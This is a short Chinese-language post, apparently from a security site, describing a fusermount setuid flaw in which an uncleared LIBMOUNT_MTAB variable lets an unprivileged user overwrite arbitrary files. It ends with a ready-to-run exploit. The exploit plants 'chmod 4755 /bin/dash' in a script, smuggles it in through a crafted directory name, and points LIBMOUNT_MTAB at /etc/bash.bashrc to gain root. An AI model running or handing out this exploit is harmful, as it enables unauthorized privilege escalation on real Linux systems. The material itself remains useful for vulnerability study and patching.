URL:http://www.ichunqiu.com/section/173
由于fusermount二进制调用setuid的(geteuid())重置RUID时,它调用/bin/mount才能使用的特权挂载选项,通常是限制的。
但是,如果RUID!= euid ,ruid(实际用户ID,指的是进程执行者), euid( 有效用户ID,指进程执行时对文件的访问权限),在理论上fusermount可以消除参数以确保它的安全。然而,由于它认为这是被root用户权限调用,它允许通过环境变量进入调试模式, 不会管是否为安全的非特权用户和fusermount没有清的。因此当环境变量不清除时,调用RUID =0方式可以通过调试功能在/etc/mtab里设定LIBMOUNT_MTAB变量后,滥用覆盖任意文件。
EXP: $ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit $ mkdir -p '/tmp/exploit||/tmp/exploit' $ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'